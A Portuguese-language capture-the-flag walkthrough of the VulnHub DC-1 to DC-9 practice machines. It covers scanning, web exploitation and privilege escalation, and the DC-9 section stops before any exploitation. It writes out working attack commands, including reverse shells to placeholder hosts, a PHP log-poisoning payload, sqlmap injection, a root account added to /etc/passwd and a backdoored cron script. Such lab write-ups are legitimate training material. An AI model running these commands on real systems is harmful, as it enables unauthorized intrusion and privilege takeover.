Laboratórios de Cibersegurança DC
DC-1
Reconhecimento e Enumeração
1. Descoberta de Hosts Ativos
Utilizando nmap para identificar máquinas na rede local.
nmap -sn 172.16.1.0/24
# Realiza um scan para verificar a presença de hosts na rede especificada.
O scan identificou o host com IP 172.16.1.133.
2. Varredura de Serviços e Portas
Executando uma varredura aprofundada no host alvo.
nmap -sV -sC -p- 172.16.1.133
# Scan versão (-sV), scripts padrão (-sC), e todas as portas (-p-).
As portas 22 (SSH), 80 (HTTP) e 111 (rpcbind) estão abertas.
3. Análise da Aplicação Web (Porta 80)
Identificação de Tecnologias (Fingerprinting)
Utilizando a ferramenta whatweb ou extensões do navegador para identificar o stack tecnológico.
whatweb -v http://172.16.1.133
Enumerando Diretórios e Arquivos
Usando o dirsearch para encontrar caminhos ocultos.
dirsearch -u http://172.16.1.133/ -e php,txt,html,bak
Exploração de Vulnerabilidades
1. Teste de Força Bruta
Ataque ao SSH (Porta 22)
medusa -h 172.16.1.133 -u root -P /usr/share/wordlists/rockyou.txt -M ssh
Nenhuma credencial fraca foi encontrada.
2. Explorando Vulnerabilidade no CMS
Identificou-se que o site rodava Drupal. Utilizando o Metasploit para explorar a vulnerabilidade Drupalgeddon2 (CVE-2018-7600).
msfconsole
search type:exploit name:drupal
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 172.16.1.133
set LHOST 172.16.1.130
run
Uma sessão Meterpreter foi obtida com sucesso. O primeiro flag foi encontrado.
3. Obtendo um Shell Interativo
Após obter o shell, tenta-se upgrade.
python3 -c 'import pty; pty.spawn("/bin/bash")'
Buscando por flags adicionais:
find / -name "flag*" 2>/dev/null
4. Escalação de Privilégios (SUID)
Procurando binários com permissão SUID executáveis pelo usuário atual.
find / -perm -4000 -user root -type f 2>/dev/null
O binário find foi identificado. Para obter um shell como root:
find . -exec /bin/sh -p \; -quit
O último flag foi encontrado no diretório /root.
5. Extraindo Credenciais do Banco de Dados
Encontrando arquivos de configuração do Drupal.
find /var/www/html -name "settings.php" -exec cat {} \;
Dentro do arquivo, obteve-se as credenciais do banco de dados. Conectando-se:
mysql -u drupaluser -p
Consultando a tabela de usuários e atualizando o hash da senha do administrador para uma conhecida (ex.: gerada com php -r "echo password\_hash('suaSenha', PASSWORD\_BCRYPT);").
Após a atualização, foi possível fazer login na interface web com a nova senha e obter o flag 3.
Resumo de Técnicas Chave
- Reconhecimento: Nmap, Whatweb, Dirsearch.
- Exploração: Metasploit (exploits de aplicações web).
- Escalação: Binários SUID (
find,bash,vim, etc.). - Post-Exploração: Leitura de arquivos de configuração, banco de dados.
DC-2
Reconhecimento e Enumeração
1. Scanning
nmap -sS -p- 172.16.1.136
# Resultado: Portas 80 e 7744 abertas.
2. Análise da Aplicação Web (WordPress)
wpscan --url http://dc-2 --enumerate u
# Enumera usuários do WordPress.
Foram identificados os usuários: admin, jerry, tom.
Para gerar um dicionário de senhas baseado no conteúdo do site:
cewl http://dc-2 -w custom_wordlist.txt
Exploração de Vulnerabilidades
1. Ataque de Força Bruta ao WordPress
wpscan --url http://dc-2 -U user.txt -P custom_wordlist.txt
Obteve-se as senhas para os usuários jerry e tom. Encontrou-se o flag1 e uma pista no site.
2. Acesso via SSH
Usando as credenciais encontradas para acessar via SSH na porta 7744.
ssh -p 7744 tom@172.16.1.136
Dentro, encontrou-se o flag3. O shell do usuário tom era restrito. Usando o vi para escapar:
:set shell=/bin/bash
:shell
Ajustando a variável de ambiente PATH:
export PATH=/bin:/usr/bin:/sbin:/usr/sbin
Alterando para o usuário jerry:
su jerry
3. Escalação de Privilégios com Git
O usuário jerry podia executar git com sudo sem senha.
sudo git -p config
# Dentro do help, digitar: !/bin/bash
Isso concede um shell como root. O flag final foi encontrado.
Resumo de Técnicas Chave
- Brute Force: WPScan, Hydra.
- Escalação: Abuso de permissões
sudoem binários (git).
DC-3
Reconhecimento e Enumeração
1. Scanning e Fingerprinting
nmap -sV 172.16.1.137
# Porta 80 aberta. Whatweb identificou Joomla 3.7.0.
2. Vulnerabilidade e Extração de Dados
Pesquisando por exploits para a versão específica do Joomla:
searchsploit joomla 3.7.0
# Exploit SQL Injection (CVE-2017-8917).
Usando o sqlmap para explorar a injeção e extrair dados:
sqlmap -u "http://172.16.1.137/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,version(),0)" --risk=3 --level=5 --batch --dbs
# Depois, extrair tabelas, colunas e dados (hashes de senha).
Exploração de Vulnerabilidades
1. Obtendo Shell
Após crackear o hash do administrador (usando john ou hashcat), logou-se no painel do Joomla. Editou-se um template para inserir um webshell.
Alternativamente, usou-se o Metasploit para obter um Meterpreter e então um shell reverso.
2. Escalação de Privilégios (Kernel)
Verificou-se a versão do kernel:
uname -a
Pesquisou-se por exploits de kernel correspondentes. Encontrou-se um exploit público (ex.: para Ubuntu 16.04). O arquivo foi baixado, transferido para o alvo, compilado e executado, concedendo acesso root.
Resumo de Técnicas Chave
- SQL Injection: Exploração de vulnerabilidade em CMS (Joomla).
- Escalação de Privilégios: Exploração de vulnerabilidade no kernel Linux.
DC-4
Reconhecimento e Enumeração
1. Scanning
nmap -sS -p- 172.16.1.136
# Porta 80 aberta.
Encontrou-se uma página de login simples.
Exploração de Vulnerabilidades
1. Brute Force e RCE
Ataque de força bruta no formulário de login (ex.: com Burp Suite Intruder). Credenciais encontradas: admin:happy.
Dentro do sistema, havia uma página (/command.php) que executava comandos do sistema.
2. Obtendo Shell
Injetou-se um comando para estabelecer um shell reverso (ex.: usando nc ou bash -i >& /dev/tcp/SEUIP/PORTA 0>&1).
3. Escalação de Privilégios
No diretório /home/jim, encontrou-se um backup de senhas (old-passwords.bak). Usando hydra para quebrar o SSH do usuário jim:
hydra -l jim -P old-passwords.bak -t 16 172.16.1.136 ssh
Logado como jim, encontrou-se um e-mail com credenciais para o usuário charles. Como charles, pôde-se executar o comando teehee com sudo.
Método 1 (Modificar /etc/passwd):
echo 'hacker:$6$salt$hash:0:0::/root:/bin/bash' | sudo teehee -a /etc/passwd
# O hash pode ser gerado com `mkpasswd -m sha-512`.
Logou-se como hacker (sem senha, se hash estiver vazio) e obteve root.
Método 2 (Cron Job):
echo '* * * * * root chmod 4777 /bin/bash' | sudo teehee -a /etc/crontab
Esperou um minuto para que o job execute, tornando o bash SUID. Executou bash -p para obter root.
Resumo de Técnicas Chave
- Brute Force: Hydra.
- Escalação: Abuso de
sudo(teehee) para modificar arquivos sensíveis ou criar cron jobs maliciosos.
DC-5
Reconhecimento e Enumeração
1. Scanning e Análise
nmap -sS 172.16.1.138
# Porta 80 aberta.
Uma aplicação web com formulário de contato foi encontrada.
Exploração de Vulnerabilidades
1. Inclusão de Arquivo Local (LFI)
Analisando os parâmetros da URL na página de agradecimento (thankyou.php), identificou-se um parâmetro file vulnerável a LFI.
Teste com wrapper PHP:
http://172.16.1.138/thankyou.php?file=php://filter/convert.base64-encode/resource=config.php
2. Obtendo Shell via Log Poisoning
Envenenou-se o log do servidor web (nginx) ao incluir um User-Agent malicioso em uma requisição. Em seguida, incluiu-se o log na aplicação via LFI para executar o código.
# Em um cabeçalho HTTP:
User-Agent: <?php system($_GET['cmd']); ?>
# Depois, na LFI:
http://172.16.1.138/thankyou.php?file=/var/log/nginx/access.log&cmd=id
Isso permitiu a execução de comandos. Um webshell foi enviado e um shell reverso obtido.
3. Escalação de Privilégios (SUID Screen)
find / -perm -4000 -type f 2>/dev/null
# Encontrou-se /bin/screen (versão 4.5.0).
Utilizou-se o exploit público 41154.sh (do Exploit-DB) para escalar privilégios, aproveitando a vulnerabilidade no screen SUID.
Resumo de Técnicas Chave
- LFI + Log Poisoning: Vetor de ataque para obtenção de shell.
- Escalação: Exploração de binário SUID (
screen) com vulnerabilidade conhecida.
DC-6
Reconhecimento e Enumeração
1. Scanning
nmap -sS -p- 172.16.1.139
# Porta 80 aberta.
2. Análise do WordPress
wpscan --url http://wordy --enumerate u,ap,at
# Enumera usuários, plugins e temas.
Seguindo uma dica do site do VulnHub, reduziu-se o dicionário:
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
Exploração de Vulnerabilidades
1. Brute Force e Acesso ao Painel
wpscan --url http://wordy -U user.txt -P passwords.txt
Credenciais de administrador encontradas. Logou-se no painel do WordPress.
2. RCE via Plugin Vulnerável
No painel, identificou-se um plugin vulnerável (Activity Monitor) com uma falha de execução de comandos. Um payload foi inserido no campo de IP:
127.0.0.1 | nc -c sh SEUIP PORTA
Obteve-se um shell reverso.
3. Escalação de Privilégios (Abuso de Sudo)
Logado como nmap, executou-se sudo -l. Descobriu-se que podia rodar um script (backups.sh) como o usuário jens.
echo "/bin/bash" > /home/jens/backups.sh
sudo -u jens /home/jens/backups.sh
Obteve-se um shell como jens. Novamente, sudo -l revelou que jens podia rodar nmap como root sem senha.
echo 'os.execute("/bin/bash")' > /tmp/script.nse
sudo nmap --script=/tmp/script.nse
Isso concedeu um shell como root.
Resumo de Técnicas Chave
- Exploração de Plugin: RCE em plugin do WordPress.
- Escalação: Cadeia de abuso de permissões
sudo(script.sh->nmap).
DC-7
Reconhecimento e Enumeração
1. Scanning
nmap -sS -p- 172.16.1.140
# Portas 22 e 80 abertas.
2. Análise e Vazamento de Informações
O site era baseado em Drupal. Uma busca no GitHub pelo nome do site revelou um repositório público com código-fonte, incluindo o arquivo de configuração config.php com credenciais de banco de dados.
As credenciais (dc7user:MNd...)) também funcionaram para acesso SSH.
Exploração de Vulnerabilidades
1. Explorando o Drupal com Drush
Logado via SSH, verificou-se que existia um script de backup (/opt/scripts/backups.sh) executável por www-data e root.
Usando a ferramenta drush (gerenciador de comandos do Drupal) para redefinir a senha do administrador:
cd /var/www/html
drush user-password admin --password="novaSenha123"
2. Obtendo Shell como www-data
Logou-se no painel do Drupal com a nova senha. O módulo "PHP filter" foi habilitado e um artigo com um webshell reverso foi criado.
Um shell reverso como www-data foi obtido.
3. Escalação de Privilégios via Cron
Como www-data, verificou-se que o script /opt/scripts/backups.sh era executado periodicamente por root (via cron). Modificou-se o script para incluir um comando de shell reverso.
echo "bash -i >& /dev/tcp/SEUIP/PORTA2 0>&1" >> /opt/scripts/backups.sh
Uma escuta (nc -lvnp PORTA2) foi configurada no atacante. Quando o cron executou, um shell como root foi obtido.
Resumo de Técnicas Chave
- OSINT: Vazamento de informações em repositórios públicos (GitHub).
- Post-Exploração: Uso de ferramentas de administração (
drush) para comprometimento adicional. - Escalação: Abuso de tarefas agendadas (cron) que executam scripts modificáveis.
DC-8
Reconhecimento e Enumeração
1. Scanning
nmap -sS -p- 172.16.1.141
# Portas 22 e 80 abertas.
2. Explorando SQL Injection
Testando parâmetros de busca no site Drupal, identificou-se uma injeção SQL no parâmetro nid.
sqlmap -u "http://172.16.1.141/?nid=*" --dbs --batch
# Extraiu banco de dados e tabelas, incluindo a tabela 'users'.
Os hashes de senha dos usuários foram extraídos. O usuário john foi identificado como alvo.
Exploração de Vulnerabilidades
1. Autenticação e RCE
Após quebrar o hash de john (com john the ripper ou hashcat), logou-se no Drupal. Dentro do painel, encontrou-se um local para inserir código PHP customizado.
Um webshell reverso foi inserido e um shell como www-data foi obtido.
2. Escalação de Privilégios com Exim
find / -perm -4000 -type f 2>/dev/null
# Encontrou-se /usr/sbin/exim-4.84-3 (SUID).
Pesquisou-se exploits para esta versão específica do Exim. O exploit 46996.sh foi baixado, transferido e executado com as permissões corretas:
chmod +x 46996.sh
./46996.sh -m netcat
Isso concedeu um shell como root.
Resumo de Técnicas Chave
- SQL Injection: Extração completa de banco de dados.
- Escalação: Exploração de binário SUID (
exim) com versão vulnerável.
DC-9
Reconhecimento e Enumeração
1. Scanning
nmap -sS -p- 172.16.1.142
# Porta 80 aberta.
2. Análise Inicial
Um site de busca de funcionários foi encontrado. Nenhuma vulnerabilidade óbvia foi identificada na interface inicial. A análise de diretórios e parâmetros continuou.
(Este laboratório focava na técnica de SSH Tunneling/Pivoting para acessar uma rede interna, mas o processo foi interrompido aqui.)
Resumo de Técnicas Chave (Potenciais)
- SSH Tunneling / Pivoting: Acessar serviços internos não expostos diretamente.
- Enumeração Aprofundada: Análise de APIs e funcionalidades ocultas.